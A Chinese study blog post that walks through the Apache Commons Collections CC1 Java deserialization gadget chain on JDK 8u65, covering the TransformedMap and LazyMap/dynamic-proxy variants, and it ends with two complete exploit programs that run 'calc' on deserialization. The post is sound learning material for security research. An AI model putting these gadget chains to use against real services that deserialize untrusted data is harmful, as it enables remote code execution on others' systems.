CC1

环境搭建

个人学习CC链步骤: CC1 -> CC6 -> CC3 -> CC4 -> CC2 -> CC5 -> CC7

Java版本选择8u65:http://www.codebaoku.com/jdk/jdk-oracle-jdk1-8.html#jdk8u65

image-20240731153413508

maven:

image-20240731155024731

替换sun目录:

先将IDEA关了,下载 https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

将jdk-af660750b2f4\src\share\classes目录下的sun目录,放到jdk目录下的src.zip中,如下:

image-20240731160738064

将IDEA打开,发现sun目录下的文件全为源代码:

image-20240731160839533

如果commons-collections这个依赖也看不到源代码的话,直接在pom.xml上执行:

mvn dependency:sources

image-20240731161534858

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

大致链子:

image-20241014192815731

参考: https://www.bilibili.com/video/BV1no4y1U7E1?t=4.7

分析

首先就是梦开始的地方---Transformer

这个接口有很多实现类--ChainedTransformer、FactoryTransformer、ConstanctTransformer、InvokerTransformer

  • ConstantTransformer:返回iConstant 常量
  • InvokerTransformer:里面有method.invoke方法

1. InvokerTransformer.transfrom

首先看的是InvokerTransformer
看他的构造函数:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)

InvokerTransformer.transform方法:

public Object transform(Object input)

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

普通的反射:

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec",String.class); // 这个String.class是exec方法的参数类型
execMethod.invoke(r,"calc");

对比着来看

iMethodName = "exec";
iParamTypes = String.class;
iArgs = "calc";
input = Runtime.getRuntime();

所以传参:

Runtime r = Runtime.getRuntime(); // 获得Runtime类的实例化对象
Transformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // 获取反射方法所在对象invokerTransformer
invokerTransformer.transform(r); // 调用反射方法
  • Class[] 类型的参数,意味着要赋值new Class[]{}
  • Object[] 类型的参数,意味着要赋值new Object[]{}

然后拆分invokerTransformer这个对象

然后找调用了transform方法的类

  • LazyMap
  • TransformedMap

2.1 ransformedMap.checkSetValue->transformKey->

首先看TransformedMap
看一个类首先看它的构造方法:

public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer)

TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);

然后看TransformedMap中调用了transform方法的方法:

protected Object transformKey(Object object)

return keyTransformer.transform(object);

KeyTransformer可控

这里就是要让

KeyTransformer 为 invokerTransformer

接下来就给KeyTransformer赋值,使得TransformedMap.transformKey -> InvokerTransformer.transform

Runtime r = Runtime.getRuntime();
HashMap<Object,Object> map = new HashMap<>();
Transformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r); // 最后方法里面参数的值随便传就行了
TransformedMap.decorate(map,null,invokerTransformer);
  • Map map类型:
HashMap<Object,Object> map = new HashMap<>();
填充map
  • Transformer transformer类型:无关的就填null即可

最终:

Runtime r = Runtime.getRuntime();
HashMap<Object,Object> map = new HashMap<>();
Transformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
TransformedMap.decorate(map,null,invokerTransformer);

这里没有r,所以调用不了calc,要想办法调用TransformedMap.checkSetValue,并把r传进去

AbstractInputCheckedMapDecorator.MapEntry.setValue ->TransformedMap.checkSetValue
查看这个AbstractInputCheckedMapDecorator.MapEntry类的构造方法:

这个AbstractInputCheckedMapDecorator 为 抽象类

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent)

不太好搞。。,所以从AbstractInputCheckedMapDecorator.MapEntry.setValue 这里弹计算器不太现实

继续找setValue的方法,这个setValue方法有些特殊:

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

从源码来看,entry代表一个键值对,所以猜测在遍历键值对的时候会触发这个setValue

  • 注意下有些可能在readObject中调用的方法,如这里的setValue,明白了这个之后,就会有意识的去找调用setValue的readObject

AnnotationInvocationHandler.readObject->setValue

那就继续查找:

发现有个是在sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法里面调用的setValue
这个类的构造方法:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)

private void readObject(java.io.ObjectInputStream s)

这个可以对应:

  • Class<? extends Annotation> type --> Override.class

可以看到这个AnnotationInvocationHandler没有用public修饰,所以要用反射获取这个类

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true); // 获取构造函数
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
serialize(o); // 实例化
unserialize("ser.bin");

由于Runtime这个类没有实现serializable接口,所以不能序列化,但是Runtime的class可以序列化

Runtime类执行命令的几种不同形式-ChainedTransformer

//        // ① 最开始的
//        Runtime.getRuntime().exec("calc");
//
//        // ②
//        // 获取Runtime对象
//        Runtime r = Runtime.getRuntime();
//        // 调用Runtime对象里面的exec方法,exec值为calc
//        r.exec("calc");


        /* ③
        整体思路是:
        获取实例化对象 -> 获取Class对象 -> 获取方法 -> 通过invoke调用方法
         */
//        // 获取Runtime的实例化对象
//        Runtime r = Runtime.getRuntime();
//        // 获取Runtime的Class对象
//        Class c = Runtime.class;
//        // 获取Runtime的exec方法
//        Method execMethod = c.getMethod("exec", String.class);
//        // 调用Runtime类的exec方法
//        execMethod.invoke(r,"calc");


        // ④
//        Class c = Runtime.class;
//        Method getRuntime = c.getMethod("getRuntime", null);
//        getRuntime.invoke(null,null);
//        Runtime r = Runtime.getRuntime();
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");


//        // ⑤
//        /*
//        transform方法:
//        Class cls = input.getClass();
//        Method method = cls.getMethod(iMethodName,iParamTypes);
//        return method.invoke(input, iArgs)
//         */
//        // 再进一步
//        // 这一步实际上就是在获取getRuntime方法
//        Method getMethod = (Method) new InvokerTransformer("getMethod",
//                new Class[]{String.class, Class[].class},
//                new Object[]{"getRuntime", null}).transform(Runtime.class);
//        /*
//        实际执行:
//        methodName = "getMethod"
//        paramTypes = {Stirng.class, Class[].class}
//        args = {"getRuntime",null}
//
//        Class cls = Runtime.class.getClass();
//        Method method = cls.getMethod("getMethod",{String.class, Class[].class});
//        return method.invoke(Runtime.class,{"getRuntime",null});
//
//        实际上就是调用:
//        Method getMethod = Runtime.class.getMehod({"getRuntime",null})
//         */
//
//        Runtime r= (Runtime) new InvokerTransformer("invoke",
//                new Class[]{Object.class,Object[].class},
//                new Object[]{null,null}).
//                transform(getMethod);
//        /*
//        Runtime r = getMethod.invoke({null,null});
//         */
//
//        new InvokerTransformer("exec",
//                new Class[]{String.class},
//                new Object[]{"calc"}).
//                transform(r);
//        /*
//        r.exec("exec");
//         */
//        /*
//         通过反射获得getRuntimeMethod 方法(构造方法之类的) ->getRuntimeMethod获得Runtime对象 -> 调用并使用Runtime类的exec
//         Method getRuntimeMethod = Runtime.class.getMethod({"getRuntime",null});
//         Runtime r = getMethod.invoke({null,null});
//         r.exec("exec");
//         getMethod和invoke都是两个参数,exec是一个参数
//         */


        // ⑥
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}), // 原来把transform(Runtime.class)省去了
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})

        }; // 省去了.transform这步,引入了ChainedTransformer
        new ChainedTransformer(transformers).transform(Runtime.class);

Annotation类型

然后难点就是readObject里面怎么进入到setValue

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // 遍历键值对,其中key都是String类型,value都是Object类型
// entrySet()返回一个集合视图
        String name = memberValue.getKey(); // 获取键
        Class<?> memberType = memberTypes.get(name); // 获取值
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }

关键点就是这个类中type和memberValues赋值为什么?
根据构造函数:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)

可知

  • type来源于Annotation ,这里是Target.class
  • memberValues为键值对(继承Map即可,可以是之前的transformedMap)

所以实例化后的transfromedMap实际上也就是一个键值对,其中键为value,值为aaa,transformedMap的键值主要由map决定:

所以type该怎么赋值呢?随便赋值吗?
当然不是,它需要绕过:

annotationType = AnnotationType.getInstance(type);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
if (memberType != null)

要想进入最后的if块,需要让memberType 等于Target.class

固定值-ConstantTransformer

不过这还没完,因为这样反序列化后调试到这里时:

而我们预期的是value = Runtime.class

所以还要加上:

new ConstantTransformer(Runtime.class),

综上:

package org.example.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        // chainedTransformer.transform -> InvokerTransformer.transform
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}), // 原来把transform(Runtime.class)省去了
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})

        }; // 省去了.transform这步,引入了ChainedTransformer
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);

        // TransformedMap.decorate -> chainedTransformer.transform
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","aaa"); // 有点不明白为什么最后map.put("value","aaa"); 等效于 transformedMap
        /*
        明明最后
         */
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

        // AnnotationInvocationHandler.readObject -> TransformedMap.decorate
        // 通过反射获取类
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取构造方法
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

2.2 LazyMap.get 动态代理

上面说到,LazyMap中调用了transform

这个类的构造方法:

protected LazyMap(Map map, Factory factory)

那这个protected修饰的该怎么办呢?

这个LazyMap的构造方法在decorate中被调用

所以只要随便形成一个Map对象,然后静态调用decorate即可 ×

根本就不用生成LazyMap的对象,直接静态调用decorate即可

即:

Runtime r = Runtime.getRuntime();
HashMap<Object,Object> map = new HashMap<>();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"calc"}
);
LazyMap.decorate(map,invokerTransformer).get(r);

// LazyMap.decorate(map,invokerTransformer)的结果是LazyMap的对象,所以这里直接加.get(r)

继续找哪里调用了decorate:

发现是在静态函数lazyMap中调用的
进一步:

Runtime r = Runtime.getRuntime();
HashMap<Object,Object> map = new HashMap<>();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"calc"}
);

MapUtils.lazyMap(map,invokerTransformer).get(r);

接下来找lazyMap:

显然不行
所以要找其他地方有没有调用这个get方法的

结果很多,直接说吧:

sun.reflect.annotation.AnnotationInvocationHandler

这个好像就是刚刚有readObject的那个类

Object result = memberValues.get(member);

所以接下来让memberValues = lazyMap
它在invoke方法里面

要想调用invoke,就要把他放到动态代理里面,即Proxy(annotationInvocationHandler).xxx
xxx为无参方法时会自动调用invoke方法

这里的entrySet就是无参方法

利用了三点:

  • entrySet()为无参方法,符合调用invoke的条件(这算利用特性了吧)
  • invoke和get()前面的memberValues均可控
  • memberValues.entrySet()在readObject里面

readObject这里的memberValues放代理Proxy,代理的memberValues这里放LazyMap

完整代码

上面提到了能够利用的调用transform方法的类大致有:

  • LazyMap
  • TransformedMap

所以下面有两段完整代码对应这两条链子

代码1

package org.example.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        // chainedTransformer.transform -> InvokerTransformer.transform
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}), // 原来把transform(Runtime.class)省去了
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})

        }; // 省去了.transform这步,引入了ChainedTransformer
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);

        // TransformedMap.decorate -> chainedTransformer.transform
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","aaa"); // 有点不明白为什么最后map.put("value","aaa"); 等效于 transformedMap
        /*
        明明最后
         */
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

        // AnnotationInvocationHandler.readObject -> TransformedMap.decorate
        // 通过反射获取类
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取构造方法
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

代码2

package org.example.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_2 {
    public static void main(String[] args) throws Exception {
        // chainedTransformer.transform -> InvokerTransformer.transform
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}), // 原来把transform(Runtime.class)省去了
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})

        }; // 省去了.transform这步,引入了ChainedTransformer
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);

        // LazyMap.get -> InvokerTransform.transform
        HashMap<Object, Object> map = new HashMap<>();
        // 新生成一个map:
        map.put("value", "aaa"); // 这个value为Target接口的成员方法的名称
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取构造方法
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确保能访问
        annotationInvocationdhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,mapProxy);
        serialize(o);
        unserialize("ser.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

posted @   starme  阅读(32)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示